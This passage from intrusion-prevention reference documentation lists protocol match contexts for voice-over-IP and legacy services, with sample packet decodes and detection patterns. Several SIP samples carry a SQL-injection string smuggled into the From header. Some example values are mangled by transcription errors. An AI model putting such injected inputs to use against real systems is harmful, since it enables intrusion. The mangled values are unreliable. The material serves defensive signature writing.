tftp-get-filename (CTS)	Matches the get filename in a TFTP session. Example of field in TFTP transaction: Trivial File Transfer Protocol Opcode: Read Request (1) Source File: "I]ApWvm&T.IT Type [truncated]: - Apu###X36"%I-OR, S)b=4Z,mH-adx=MH%vX.zDAXI\i:4]T2Qj74+.bA9I?[&*fJpmE8qGFy%- \$x'JDe:'A;0GT7GR2Te,⁢M68E- G,4C+⁢B~C8HyPt:Kjo0w(a)8GLEouW~5(a)oJ&4HIr\357\277\275\006d\357\277\275\357\277\275*\000 2u\357\277\275\357\277\275+\357\277\275\375\277\275+\357\277\275\375\277\275\377\275\375\277\275\375\277\275\375\277\275\375\277\275\375\277\275\375\277\275\375\277\275\375\277\275\375\275\275\277\275\375\277\275\375\275\275\275\275\275\275\275\275\275\2
tftp-put-filename (CTS)	Matches the put filename in a TFTP session. Example of field in TFTP transaction: Trivial File Transfer Protocol Opcode: Write Request (2) Destination File [truncated]: cbM5QqXgARCqAtKUUFhE2CBrYcJCwP\$b Type: Example of context usage: Context: tftp-put-filename pattern: "cbM5Qq"

Voice-over-IP Contexts

IN THIS SECTION

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These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for voice-over-IP protocol as match conditions in IDP policy rules.

Service Contexts: H225

The table displays the security context details for H225:

Table 61: Service Contexts: H225

Context and Direction	Description Example of Contexts
h225ras-admission (ANY)	Matches H225RAS admission messages (AdmissionConfirm, AdmissionReject, AdmisssonRequest). Example of field in H225RAS transaction: 00 00 5e 00 01 0f 00 0c fl cd a3 a4 08 00 45 00^ E. 00 a0 00 00 40 00 40 11 17 8d 0a 96 09 7b 0a 9d { 04 13 80 35 06 b7 00 8c fc 35 24 00 19 06 00 085 5\$ 91 4a 00 02 40 82 00 00 02 18 00 02 40 c0 01 00 .J@ @ 01 60 3e ac 65 06 b7 00 3e ac 65 2a f9 01 01 80 00 54 00 400 01 00 3e ac 65 2a f9 01 00 3e ac 65 06 b7 00 00 00 00 00 00 00 8c 02 00 Id 01 80 41 3e 00 34 A>.4 00 40 1 00 2d 00 53 00 49 00 50 00 2e .@.T.AS.I.P 00 41 00 47 00 32 00 2d 00 54 00 41 00 2d 00 53 .A.G.2T.AS 00 49 00 50 00 2e 00 54 00 72 00 65 00 2d 00 52 .I.PT.r.eR 00 6f 00 6d 00 65 00 53 00 69 00 74 00 65 .o.m.e.S.i.t.e Note: 24 00 is start of H.225.0 RAS protocol Example of context usage: Context: h225ras-admission pattern: "R\x00\xo\x00\xo\x00\xm\x00\x
h225ras-bandwidth (ANY)	Matches H225RAS bandwidth messages (BandwidthConfirm, BandwidthReject, BandwidthRequest).
h225ras-command- state (ANY)	Matches the state of the H225RSA connection.
h225ras-disengage (ANY)	Matches H225RAS disengage messages (DisengageConfirm, DisengageReject, DisengageRequest).
h225ras-gatekeeper (ANY)	Matches H225RAS gatekeeper messages (GatekeeperConfirm, GatekeeperReject, GatekeeperRequest).
h225ras-info (ANY)	Matches H225RAS informational messages (InfoRequestAck, InfoRequestResponse, InfoRequest).
h225ras-location (ANY)	Matches H225RAS location messages (LocationConfirm, LocationReject, LocationRequest).

Table 61: Service Contexts: H225 (Continued)

Context and Direction	Description Example of Contexts
h225ras-message (ANY)	Matches the broad H225RAS message context. Example of field in H225RAS transaction: 00 00 5e 00 01 0f 00 0c fl cd a3 a4 08 00 45 00 E. 00 a0 00 00 40 00 40 11 17 8d 0a 96 09 7b 0a 9d { 04 13 80 35 06 b7 00 8c fc 35 24 00 19 06 00 08 5 5\$ 91 4a 00 02 40 82 00 00 02 18 00 02 40 c0 01 00 . J@ @ 01 60 3e ac 65 06 b7 00 3e ac 65 2a f9 01 01 80 00 54 00 400 01 00 3e ac 65 2a f9 01 00 3e ac 65 06 b7 00 00 00 00 00 00 00 8c 02 00 1d 01 80 41 3e 00 34 A> 4 00 40 1 00 2d 00 53 00 49 00 50 00 2e T.AS.I.P 00 41 00 47 00 32 00 2d 00 54 00 41 00 2d 00 53 .A.G.2T.AS 00 49 00 50 00 2e 00 54 00 72 00 65 00 2d 00 52 .I.PT.r.eR 00 6f 00 6d 00 65 00 53 00 69 00 74 00 65 .o.m.e.S.i.t.e Note: 24 00 is start of H.225.0 RAS protocol Example of context usage: Context: h225ras-message pattern: "R\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
h225ras- nonstandard (ANY)	Matches the H225RAS nonstandard message context.
h225ras- registration (ANY)	Matches the H225RAS registration message.
h225ras- resource (ANY)	Matches H225RAS resources available messages (Resources Available Confirm, Resources Available Indicate).
h225ras-rip (STC)	Matches the H225RAS request- in-progress message.
h225ras- servicecontrol (CTS)	Matches the H225RAS service control message.
h225ras- unknown- message (ANY)	Match the H225RAS Unknown message type.

Table 61: Service Contexts: H225 (Continued)

Context and Direction	Description Example of Contexts
h225ras- unregistration (ANY)	Matches the H225RAS unregistration message. Example of field in H225RAS transaction: 00 Oc 29 26 do 70 00 50 56 cO 00 08 08 00 45 00)&.p.PV
h225ras- unspecified- message (ANY)	Matches the H225RAS unspecified message.
h225ras-version (ANY)	Matches the H225RAS version message.
h225sgn-message (ANY)	Matches the H225SGN message body started with the message-type byte.
h225sgn-preamble (ANY)	Matches the H225SGN signaling protocol discriminator and call reference value.

Service Contexts: MGCP

The table displays the security context details for MGCP:

Table 62: Service Contexts: MGCP

Context and Direction	Description	Display Name
mgcp-call-id (ANY)	Matches the MGCP call ID parameter value.	MGCP Call ID
mgcp-command (ANY)	Matches the MGCP command line.	MGCP Command
mgcp-ep-name (ANY)	Matches the MGCP endpoint name specified in command line or command parameters.	MGCP Endpoint name
mgcp-parm (ANY)	Matches the MGCP command parameter value.	MGCP Command Parameter
mgcp-rsp (ANY)	Matches the entire MGCP response line with the return code.	MGCP Reply Line
mgcp-rsp-000-line (ANY)	Matches the MGCP Oyz response acknowledgment.	MGCP 000 Reply Line
mgcp-rsp-100-line (ANY)	Matches the MGCP 1yz provisional response.	MGCP 100 Reply Line
mgcp-rsp-200-line (ANY)	Matches the MGCP 2yz successful completion response.	MGCP 200 Reply Line
mgcp-rsp-400-line (ANY)	Matches the MGCP 4yz permanent error response	MGCP 400 Reply Line
mgcp-rsp-500-line (ANY)	Matches the MGCP 5yz permanent error response.	MGCP 500 Reply Line
mgcp-rsp-800-line (ANY)	Matches the MGCP 8yz package- specific response codes.	MGCP 800 Reply Line

Table 62: Service Contexts: MGCP (Continued)

Context and Direction	Description	Display Name
mgcp-rsp-bad-rcode (ANY)	Matches any MGCP invalid response code.	MGCP Invalid Response Code
mgcp-sdp-line (ANY)	Matches MGCP/SDP contents data line.	MGCP SDP Line
mgcp-trans-id (ANY)	Matches the MGCP transaction ID parameter value.	MGCP Transaction ID

Service Contexts: SIP

The table displays the security context details for SIP:

Table 63: Service Contexts: SIP

Context and Direction	Description Example of Contexts
sip-bad-header (ANY)	Matches SIP hearders with bad syntax.
sip-command-state (ANY)	Matches the state of the SIP connection.
sip-content-any (ANY)	Matches SIP contents portion of packet data.

Table 63: Service Contexts: SIP (Continued)

Context and Direction	Description Example of Contexts
sip-content-sdp (ANY)	Matches SIP/SDP content data. Example of field in SIP transaction: User Datagram Protocol, Src Port: 5060, Dst Port: 5060 Session Initiation Protocol (INVITE) Request-Line: INVITE sip:7814878422@192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URI: Sip:78I4878422(g)I92.I68.15.I00:5060 [Resent Packet: False] Message Header Message Body Session Description Protocol Example of context usage: Context: sip-content-sdp pattern: "70632"
sip-display-name (ANY)	Matches the display name of URL in related headers. Example of field in SIP transaction: User Datagram Protocol, Src Port: 5060, Dst Port: 5060 Session Initiation Protocol (INVITE) Request-Line: INVITE sip:78I4878422(S) 192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URI: sip:78I4878422(S)192.168.15.100:5060 [Resent Packet: False] Message Header Max-Forwards: 9 Session-Expires: 3600:Refresher=uac Supported: timer To: "Mallory Mastermind" sip:7814878422(S)132.197.205.101:5060 SIP Display info: "Mallory Mastermind" SIP to address: sip:7814878422(S) 132.197.205.101:5060 Example of context usage: Context: sip-display-name pattern: "Mastermind"
sip-header-any (ANY)	Matches SIP headers with no designated context.

Table 63: Service Contexts: SIP (Continued)

Context and Direction	Description Example of Contexts
sip-header-callid (ANY)	Example of field in SIP transaction: Session Initiation Protocol (INVITE) Request-Line: INVITE sip:7814878422@ 192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URI; sip:7814878422@192.168.15.100:5060 [Resent Packet: False] Message Header Max-Forwards: 9 Session-Expires: 3600;Refresher=uac Supported: timer To: "Mallory Mastermind" <sip:7814878422(5)132.197.205.101:5060> From: root <sip:088761';select (s="" *="" from="" where;—="">wal.verizon.com.user=phone>,tag=694430435-1153315416526-SIP Display info: root SIP from address: sip:088761';select * from where;—@wal.verizon.com;user=phone SIP from ddress User Part: Wal.verizon.com SIP from ddress Host Part: wal.verizon.com SIP from tag: 694430435-1153315416526-Call-ID: 558-3362304216-522493(S)iptel-sbc3 iptel wal verizon.com Example of context usage: Context: sip-header-callid pattern: "verizon"</sip:088761';select></sip:7814878422(5)132.197.205.101:5060>
sip-header-from (ANY)	Matches the SIP <from> header.</from>
sip-header- maxforwards (CTS)	Matches the SIP <max-forwards> header.</max-forwards>

Table 63: Service Contexts: SIP (Continued)

Context and Direction	Description Example of Contexts
sip-header-to (ANY)	Example of field in SIP transaction: Session Initiation Protocol (INVITE) Request-Line: INVITE sip:7814878422@ 192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URI: sip:7814878422@192.168.15.100:5060 [Resent Packet: False] Message Header Max-Forwards: 9 Session-Expires: 3600;Refresher=uac Supported: timer To: "Mallory Mastermind" <.sip:7814878422(5)132.197.205.101:5060> From: root <sip:088761";select (s="" *="" from="" where;—="">wal.verizon.com;user=phone>;tag=694430435- 1153315416526- SIP Display info: root SIP from address: sip:088761";select * from where;—@wal.verizon.com;user=phone SIP from address User Part: 088761";select * from where;— SIP from address Host Part: wal.verizon.com SIP From URI parameter: user=phone SIP from tag: 694430435-1153315416526- Call-ID: 558-3362304216-522493(S)iptel-sbc3.iptel.wal.verizon.com</sip:088761";select>
sip-header-value- len (ANY)	Artificially created context for putting thresholds on a header value.
sip-headr-via (ANY)	Matches the SIP <via> header.</via>
sip-parameter (ANY)	Matches parsed parameters in the headers.

Table 63: Service Contexts: SIP (Continued)

Context and Direction	Description Exercise of Contexts
	Example of Contexts
sip-parameter-bad (ANY)	Matches parsed invalid parameters in the headers. Example of field in SIP transaction:
	Session Initiation Protocol (INVITE) Request-Line: INVITE sip:7814878422@ 192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URL; sip:7814878422@192.168.15.100:5060 [Resent Packet: False] Message Header Max-Forwards: 9 Session-Expires: 3600;Refresher=uac Supported: timer To: "Mallory Mastermind" & tt, sip:7814878422(5)132.197.205.101:5060> From: root & tt, sip:088761'; select * from where;— [S>wal.verizon.com;user=phone>::tag=694430435-1153315416526-SIP Display info: root SIP from address: sip:088761'; select * from where;—@wal.verizon.com;user=phone SIP from address User Part: 088761'; select * from where;— SIP from address Host Part: wal.verizon.com SIP From URI parameter: user=phone SIP from tag: 694430435-1153315416526- Call-ID: 558-3362304216-522493(S) iptel-sbc3. iptel.wal.verizon.com
	Example of context usage: Context: sip-parameter-bad pattern: "verizon"
sip-reply (STC)	Matches any SIP reply line with the return code.
sip-reply-100-line (STC)	Matches the SIP 1yz Positive Preliminary reply.
sip-reply-200-line (STC)	Matches the SIP 2yz Positive Compleation reply.
sip-reply-300-line (STC)	Matches the SIP 3yz Postive Intermediate reply.
sip-reply-400-line (STC)	Matches the SIP 4yz Transient Negative Completion reply.
sip-reply-500-line (STC)	Matches the SIP 5yz Permanent Negative Completion reply.

Table 63: Service Contexts: SIP (Continued)

Context and Direction	Description Example of Contexts
sip-reply-600-line (STC)	Matches the SIP 6yz Failure Completion reply.
sip-reply-bad-rcode (STC)	Matches any SIP invalid response code.
sip-request (CTS)	Matches the SIP request command line. Example of field in SIP transaction: Session Initiation Protocol (INVITE) Request-Line: INVITE sip:7814878422@ 192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URI: sip:7814878422@192.168.15.100:5060 [Resent Packet: False] Message Header Max-Forwards: 9 Session-Expires: 3600;Refresher=uac Supported: timer To: "Mallory Mastermind" <sip:7814878422(5)132.197.205.101:5060> From: root <sip:088761';select (s="" *="" from="" where;="">wal.verizon.com;user=phone>;tag=694430435- 1153315416526- SIP Display info: root Example of context usage: Context: sip-request pattern: "INVITE"</sip:088761';select></sip:7814878422(5)132.197.205.101:5060>
sip-request- unknown (CTS)	Matches the SIP request with unknown command.
sip-sdp-line (ANY)	Matches the SIP/SDP contents data line. Example of field in SIP transaction: Session Initiation Protocol (INVITE) Request-Line: INVITE sip:7814878422(g> 192.168.15.100:5060 SIP/2.0 Message Header Message Body Session Description Protocol Example of context usage: Context: sip-sdp-line pattern: "verizon"

Table 63: Service Contexts: SIP (Continued)

Context and Direction	Description Example of Contexts
sip-unknown-data (ANY)	Matches SIP unknown data.
sip-unknown- header (ANY)	Matches a SIP unknown header.
sip-uri-host (ANY)	Matches the host-name/IP-address of URI in related headers. Example of field in SIP transaction: Session Initiation Protocol (INVITE) Request-Line: INVITE sip:78I4878422(S) 192.168.15.100:5060 SIP/2.0 Method: INVITE Request-URI: sip:78I4878422(S)192.168.15.100:5060 [Resent Packet: False] Message Header Max-Forwards: 9 Session-Expires: 3600;Refresher=uac Supported: timer To: "Mallory Mastermind" &Itsip:7814878422(S> 132.197.205.101:5060> SIP Display info: "Mallory Mastermind" SIP to address: sip:7814878422(S) 132.197.205.101:5060 Example of context usage: Context: s sip-unknown-header pattern: "78148"
sip-uri-parameter (ANY)	Matches the parameter of URI in related headers.

Legacy Contexts

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These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for legacy contexts as match conditions in IDP policy rules.

Service Contexts: AIM

The table displays the security context details for AIM:

Table 64: Service Contexts: AIM

Context and Direction	Description	Display Name
aim-auth-request-msg (ANY)	Matches the message sent from one user to another when requesting authorization to add to the buddy list.	AIM Auth Request Msg
aim-away-message (CTS)	Matches the message sent to other clients when a user changes status to 'away'.	AIM Away Message

Table 64: Service Contexts: AIM (Continued)

Context and Direction	Description	Display Name
aim-buddy-comment (ANY)	Matches the comment stored for a buddy in the contact list.	AIM Buddy Comment
aim-capabilities (ANY)	Matches the set of features supported by the client.	AIM Capabilities
aim-chat-info (STC)	Matches the information about a chatroom.	AIM Chat Info
aim-chat-interests (STC)	Matches the categories of personal interests in a user's profile.	AIM Chat Interests
aim-chat-room-desc (STC)	Matches the description of a chatroom.	AIM Chat Room Desc
aim-chat-room-name (STC)	Matches the name of a chatroom in an AIM/ICQ session.	AIM Chat Room Name
aim-client-ip (STC)	Matches the IP address of the client for direct P2P communication.	AIM Client Ip
aim-client-port (STC)	Matches the port that the client is listening on for P2P communication.	AIM Client Port
aim-client-status (STC)	Matches the user's online status.	AIM Client Status
aim-decline-reason (ANY)	Matches the decline reason when a client refuses to be added to another user's contact list.	AIM Decline Reason
aim-descripted-url (ANY)	Matches the description and URL when sending a Web page to another address.	AIM Descripted Url

Table 64: Service Contexts: AIM (Continued)

Context and Direction	Description	Display Name
aim-email-address (STC)	Matches the e-mail address of a user as it appears in the profile.	AIM Email Address
aim-error-url (STC)	Matches the URL on the server where the user can reconfigure the account password.	AIM Error Url
aim-gcard-message (ANY)	Matches the message associated with a greeting card.	AIM Gcard Message
aim-gcard-recipient (ANY)	Matches the screen name of a greeting card recipient.	AIM Gcard Recipient
aim-gcard-sender (ANY)	Matches the screen name of a greeting card sender.	AIM Gcard Sender
aim-gcard-theme (ANY)	Matches the theme of a greeting card sent from one client to another.	AIM Gcard Theme
aim-gcard-title (ANY)	Matches the title of a greeting card sent from one user to another.	AIM Gcard Title
aim-gcard-url (ANY)	Matches the URL of the greeting card sent from one user to another.	AIM Gcard Url
aim-get-file (STC)	Matches the name of a file that the user is transferring from a peer.	AIM Get File
aim-group (ANY)	Matches the name of a group of items (usually buddies).	AIM Group
aim-info-text (STC)	Matches additional information text that appears in a user's profile.	AIM Info Text

Table 64: Service Contexts: AIM (Continued)

Context and Direction	Description	Display Name
aim-local-ip (CTS)	Matches the IP address of a client used for P2P communication.	AIM Local Ip
aim-local-port (CTS)	Matches the local port that the client is listening on for P2P communication.	AIM Local Port
aim-message-block (ANY)	Matches the instant message sent from one user to another.	AIM Message Block
aim-message-description (ANY)	Matches the description of a message.	AIM Message Description
aim-nick-name (ANY)	Matches the nickname of an AIM/ICQ user.	AIM Nick Name
aim-oft-content (ANY)	Matches the contents of a file being transferred between peers.	AIM Oft Content
aim-oft-name (ANY)	Matches the name of a file being transferred between peers.	AIM Oft Name
aim-peer-ip (STC)	Matches the IP address of a peer for direct P2P communication.	AIM Peer Ip
aim-peer-port (STC)	Matches the port of a peer for direct P2P communication.	AIM Peer Port
aim-put-file (CTS)	Matches the name of a file that the user is transferring to a peer.	AIM Put File
aim-screen-name (ANY)	Matches the screen name of a user.	AIM Screen Name

Table 64: Service Contexts: AIM (Continued)

Context and Direction	Description	Display Name
aim-server-ip (STC)	Matches the IP address of a server. Typically used when the main server redirects the client to another server.	AIM Server Ip
aim-server-url (STC)	Matches any URL on the server.	AIM Server Url
aim-url (ANY)	Matches the URL of a user's profile.	AIM Url
aim-xml-value (STC)	Matches the XML string sent by the server with the value of a requested URL.	AIM Xml Value

Service Contexts: Finger

The table displays the security context details for Finger:

Table 65: Service Contexts: Finger

Context and Direction	Description Example of Contexts
finger-host (CTS)	Matches each hostname in a FINGER request. Example of field in field in FINGER transaction: FINGER: Query Query: root@microsoft.com@american\r\n Example of context usage: Context: finger-user pattern: "american"
finger-s2c-data (STC)	finger-s2c-data

Table 65: Service Contexts: Finger (Continued)

Context and Direction	Description Example of Contexts
finger-user (CTS)	Matches the username in a FINGER request. Example of field in FINGER transaction: FINGER: Query Query: root@microsoft.com@american\r\n Example of context usage: Context: finger-user pattern: "root"

Service Contexts: Gnutella

The table displays the security context details for Gnutella:

Table 66: Service Contexts: Gnutella

Context and Direction	Description	Display Name
gnutella-connect-fail-reason (STC)	Matches the connection fail reason string in a Gnutella connection.	GNUTELLA Connect Fail Reason
gnutella-connect-header (ANY)	Matches the contents of the HTTP style CONNECT message in a Gnutella session.	GNUTELLA Connect Header
gnutella-http-get-filename (CTS)	Matches the name of the file that the client intends to retrieve.	GNUTELLA Http Get Filename
gnutella-http-header (ANY)	Matches any HTTP style headers in a Gnutella session.	GNUTELLA Http Header

Table 66: Service Contexts: Gnutella (Continued)

Context and Direction	Description	Display Name
gnutella-queryhit-vendor (STC)	Matches the 4-byte vendor code in the reply for the QUERYHIT message.	GNUTELLA Queryhit Vendor
gnutella-search-criteria (CTS)	Matches the search criteria in a QUERY message of a Gnutella session.	GNUTELLA Search Criteria
gnutella-user-agent (ANY)	Matches the name of the user agent in a Gnutella session.	GNUTELLA User Agent

Service Contexts: Gopher

The table displays the security context details for Gopher:

Table 67: Service Contexts: Gopher

Context and Direction	Description	Display Name
gopher-display (STC)	Matches the display string of a Gopher item.	GOPHER Display
gopher-file (STC)	Matches the contents of a Gopher item/file.	GOPHER File
gopher-host-port (STC)	Matches the host and port used to get an item.	GOPHER Host Port
gopher-selector (STC)	Matches the selector string of a Gopher item.	GOPHER Selector

Service Contexts: IEC

The table displays the security context details for IEC:

Table 68: Service Contexts: IEC

Context and Direction	Description	Display Name
iec104-message-type-i (ANY)	Matches the Type-I message of IEC104.	IEC104 Message Type I
iec104-message-type-s (ANY)	Matches the Type-S message of IEC104.	IEC104 Message Type S
iec104-message-type-u (ANY)	Matches the Type-U message of IEC104.	IEC104 Message Type U

Service Contexts: IRC

The table displays the security context details for IRC:

Table 69: Service Contexts: IRC

Context and Direction	Description Example of Contexts
irc-command (ANY)	Matches any IRC command name. Example of field in IRC transaction: Internet Relay Chat Request: USER [00_USA_XP_0773972] winxpprosp3 irc.freenode.net:[00_USA_XP_0773972] Command: USER Command parameters Trailer: [00_USA_XP_0773972] Example of context usage: Context: irc-command pattern: "USER"

Table 69: Service Contexts: IRC (Continued)

Context and Direction	Description Example of Contexts
irc-join-chan (ANY)	Matches the channel name in the JOIN command of an IRC session. Example of field in IRC transaction: Internet Relay Chat Request: JOIN #xx16-testing Command: JOIN Command parameters Parameter: #xx16-testing Example of context usage: Context: irc-join-chan pattern: "testing"
irc-nick-name (ANY)	Matches the name in the NICK command of an IRC session. Example of field in IRC transaction: Internet Relay Chat Request: USER [00_USA_XP_0773972] winxpprosp3 irc.freenode.net:[00_USA_XP_0773972] Command: USER Command parameters Trailer: [00_USA_XP_0773972] Example of context usage: Context: irc-nick-name pattern: "USA_XP"
irc-notice-msg (ANY)	Matches the message in the NOTICE command of an IRC session. Example of field in IRC transaction: Internet Relay Chat Response: :anthony.freenode.net NOTICE *:*** Looking up your hostname Prefix: anthony.freenode.net Command: NOTICE Command parameters Trailer: *** Looking up your hostname Example of context usage: Context: irc-notice-msg pattern: "hostname"
irc-oper-name (ANY)	Matches the name in the OPER command of an IRC session.

Table 69: Service Contexts: IRC (Continued)

Context and Direction	Description Example of Contexts
irc-oper-password (ANY)	Matches the password in the OPER command of an IRC session.
irc-part-chan (ANY)	Matches the channel name in the PART command of an IRC session.
irc-password (ANY)	Matches the password in the PASS command of an IRC session.
irc-priv-msg (ANY)	Matches the message in the PRIVMSG command of an IRC session.
	Example of field in IRC transaction: Internet Relay Chat Response: :frigg!~frigg@freenode/utility-bot/frigg PRIVMSG [00_USA_XP_07739 :\001VERSION\001 Prefix: frigg!~frigg@freenode/utility-bot/frigg Command: PRIVMSG Command parameters Parameter: [00_USA_XP_07739 Trailer: \001VERSION\001 CTCP Data: VERSION Example of context usage: Context: irc-priv-msg pattern: "USA_XP"
irc-real-name (ANY)	Matches the real name in the USER command of an IRC session. Example of field in IRC transaction: Internet Relay Chat Request: USER [00_USA_XP_0773972] winxpprosp3 irc.freenode.net :[00_USA_XP_0773972] Command: USER Command parameters Trailer: [00_USA_XP_0773972] Example of context usage: Context: irc-real-name pattern: "USA_XP"
irc-topic (ANY)	Matches the arguments of the TOPIC command of an IRC session.

Table 69: Service Contexts: IRC (Continued)

Context and Direction	Description Example of Contexts
irc-user-name (ANY)	Matches the name in the USER command of an IRC session. Example of field in IRC transaction: Internet Relay Chat Request: USER [00_USA_XP_0773972] winxpprosp3 irc.freenode.net:[00_USA_XP_0773972] Command: USER Command parameters Trailer: [00_USA_XP_0773972]
	Example of context usage: Context: irc-user-name pattern: "SA_XP"

Service Contexts: LPR

The table displays the security context details for LPR:

Table 70: Service Contexts: LPR

Context and Direction	Description Example of Contexts
lpr-cfile-command (CTS)	Matches the entire CFILE subcommand line, including the first byte of the subcommand type.
lpr-cfile-name (CTS)	Matches the name of the control filename that is sent as part of the RECEIVE-JOB command.

Table 70: Service Contexts: LPR (Continued)

Context and Direction	Description Example of Contexts
lpr-command (CTS)	Matches the entire command line, including the first byte of the command code. Example of field in LPR transaction: Line Printer Daemon Protocol LPR: transfer a printer job/jobcmd: receive control file Printer/options: oL3172493 58194 COMMAND" 02 6f 4c 33 31 37 32 34 39 33 35 38 31 39 34 60 oL317249358194 43 4f 4d 4d 41 4e 44 60 0a COMMAND'. Example of context usage: Context: lpr-command pattern: "\x 333137 \x"
lpr-dfile-name (CTS)	Matches the name of the data filename that is sent as part of the RECEIVE-JOB command.

Service Contexts: MSN

The table displays the security context details for MSN:

Table 71: Service Contexts: MSN

Context and Direction	Description	Display Name
msn-addrbook-url (STC)	Matches the URL for a user's address book.	MSN Addrbook Url
msn-compose-url (STC)	Matches the URL for composing an e-mail.	MSN Compose Url
msn-display-name (ANY)	Matches the display name of a user.	MSN Display Name

Table 71: Service Contexts: MSN (Continued)

Context and Direction	Description	Display Name
msn-get-file (STC)	Matches the name of a file that the client is downloading from a peer.	MSN Get File
msn-group-name (ANY)	Matches the name of a group of contacts.	MSN Group Name
msn-inbox-url (STC)	Matches the URL for a user's Inbox.	MSN Inbox Url
msn-ip-port (STC)	Matches the address and port of a switchboard server.	MSN IP Port
msn-message (ANY)	Matches the instant message text.	MSN Message
msn-message-application (ANY)	Matches the line of an application message (like file transfer).	MSN Message Application
msn-message-email-notification (STC)	Matches the line sent by the server to notify a client of new or unread e-mail.	MSN Message Email Notification
msn-message-header (ANY)	Matches the header line of an instant message.	MSN Message Header
msn-message-profile (STC)	Matches the line containing the profile of a message sender.	MSN Message Profile
msn-passport-url (STC)	Matches login passport URL.	MSN Passport Url
msn-phone-number (ANY)	Matches the user's phone number.	MSN Phone Number

Table 71: Service Contexts: MSN (Continued)

Context and Direction	Description	Display Name
msn-png-chunk (ANY)	Matches contents of PNG chunk in MSN transaction.	MSN PNG CHUNK
msn-profile-url (STC)	Matches the URL of a user's passport profile.	MSN Profile Url
msn-put-file (CTS)	Matches the name of a file that the client is sending to a peer.	MSN Put File
msn-sign-in-name (ANY)	Matches the screen name (login name) of a user.	MSN Sign In Name
msn-url (STC)	Matches any URL in an MSN session	MSN URL
msn-user-state (ANY)	Matches the user's online state.	MSN User State

Service Contexts: NNTP

The table displays the security context details for NNTP:

Table 72: Service Contexts: NNTP

Context and Direction	Description Example of Contexts
nntp-banner (STC)	Matches the NNTP banner. Example of field in NNTP transaction: Transmission Control Protocol, Src Port: 119, Dst Port: 3620, Seq: 2026416399, Ack: 1894101608, Len 77 Network News Transfer Protocol 200 nfeed.gw.nagoya-u.ac.jp InterNetNews server IN N 2.2.1 25-Aug-1999 ready\r\n Example of context usage: Context: nntp-banner pattern: "nfeed"
nntp-body (ANY)	Matches each line of an NNTP message body. Example of field in NNTP transaction: Transmission Control Protocol, Src Port: 3620, Dst Port: 119, Seq: 1894102527, Ack: 2026417365, Len: 1448 Network News Transfer Protocol takethis &tts619a8k512492464667969842118965021s619a8k51249@news.sollacs.net>\r\n X-Proxy-User: \$\$t6aqbbir\n Subject: [11/46] -dawn3697011.jpg (I/I)\r\n From: wadsworth &ttsysbh@sollacs.net >\r\n Newsgroups: alt.binaries, pictures erotica amateurs\r\n Message-JD: &tts619a8k512492464667969842118965021s619a8k51249@news.sollacs.net>\r\n Sender: syssbh@sollacs.net\r\n Date: 8 Feb 2005 16:29:26 -0600\r\n Unes: 338\r\n X-Comments: This message was posted through Newsfeeds.com\r\n X-Comments: This message was posted through Newsfeeds.com\r\n X-Comments: 2; IMPORTANT: Newsfeeds.com does not condone, support, nor tolerate spam or any illegal or copyrighted postings. \r\n X-Report: Please report illegal or inappropriate use to &ttabuse@newsfeeds.com >., Forward a copy of ALL headers INCLUDING the body. (DO NOT SEND ATTACHMENTS)\r\n Organization: Newsfeeds.com http://www.newsfeeds.com 100,000+ UNCENSORED Newsgroups.\r\n Path: cancer.nca5.ad.jpl ne wsfeed.media.kyoto\rangle u.ac.jplnewscon02. ng ws prodigy.com! prodigy, net !news-out.superfeed.net !spool8-east!not-for-mail\r\n \r\n begin 666 dawn3697011.jpg\r\n
	Example of context usage: Context: nntp-body pattern: "dawn"
nntp-cmd-line (CTS)	Matches the entire NNTP command line. Example of field in NNTP transaction: Transmission Control Protocol, Src Port: 3620, Dst Port: 119, Seq: 1894101608, Ack: 2026416476, Len 13 Network News Transfer Protocol mode stream r\n Example of context usage: Context: nntp-cmd-line pattern: "mode"

Table 72: Service Contexts: NNTP (Continued)

Context and Direction	Description Example of Contexts
nntp-header (ANY)	Matches any header in an NNTP session. Example of field in NNTP transaction: Transmission Control Protocol, Src Port: 3620, Dst Port: 119, Seq: 1894102527, Ack: 2026417365, Len 1448 Network News Transfer Protocol takethis <s619a8k51249246466796984211896502ls619a8k51249(©news.sollacs.net>\r\n X-Proxy-User: \$\footnote{16aqbb}\r\n Subject: [11/46] - dawn3697011.jpg (I/I)\r\n Example of context usage: Context: nntp-header pattern: "aqbb"</s619a8k51249246466796984211896502ls619a8k51249(©news.sollacs.net>
nntp-ihave-msgid (CTS)	Matches the message ID that appears in the IHAVE command of an NNTP session.
nntp-mode (CTS)	Matches the NNTP mode. Example of field in NNTP transaction: Transmission Control Protocol, Src Port: 3620, Dst Port: 119, Seq: 1894101608, Ack: 2026416476, Len 13 Network News Transfer Protocol mode stream\r\n Example of context usage: Context: nntp-mode pattern: "stream"
nntp-msgid (ANY)	Matches the message ID that appears in various commands of an NNTP session. Example of field in NNTP transaction: Transmission Control Protocol, Src Port: 3620, Dst Port: 119, Seq: 1894101621, Ack: 2026416491, Len 906 Network News Transfer Protocol check <42093d65\$0\$489\$626al4ce(S)news.free.fr>\r\n Example of context usage: Context: nntp-msgid pattern: "news"
nntp-newsgroup (ANY)	Matches the name of news groups in an NNTP session.

Service Contexts: REXEC

The table displays the security context details for REXEC:

Table 73: Service Contexts: REXEC

Context and Direction	Description	Display Name
rexec-remote-command (CTS)	Matches the remote command in an REXEC session.	REXEC Remote Command
rexec-remote-user (CTS)	Matches the remote username in an REXEC session.	REXEC Remote Username

Service Contexts: RLOGIN

The table displays the security context details for RLOGIN:

Table 74: Service Contexts: RLOGIN

Context and Direction	Description Example of Contexts
rlogin-local-user (CTS)	Matches the local username in an RLOGIN session. Example of field in RLOGIN transaction: Transmission Control Protocol, Src Port: 1023, Dst Port: 513, Seq: 1774520748, Ack: 1767009269, Len 27 Rlogin Protocol User info (root\000bin\000xterm-color/38400\000) Client-user-name: root Server-user-name: bin Terminal-type: xterm-color Terminal-speed: 38400 Example of context usage: Context: rlogin-local-user pattern: "root"

Table 74: Service Contexts: RLOGIN (Continued)

Context and Direction	Description Example of Contexts
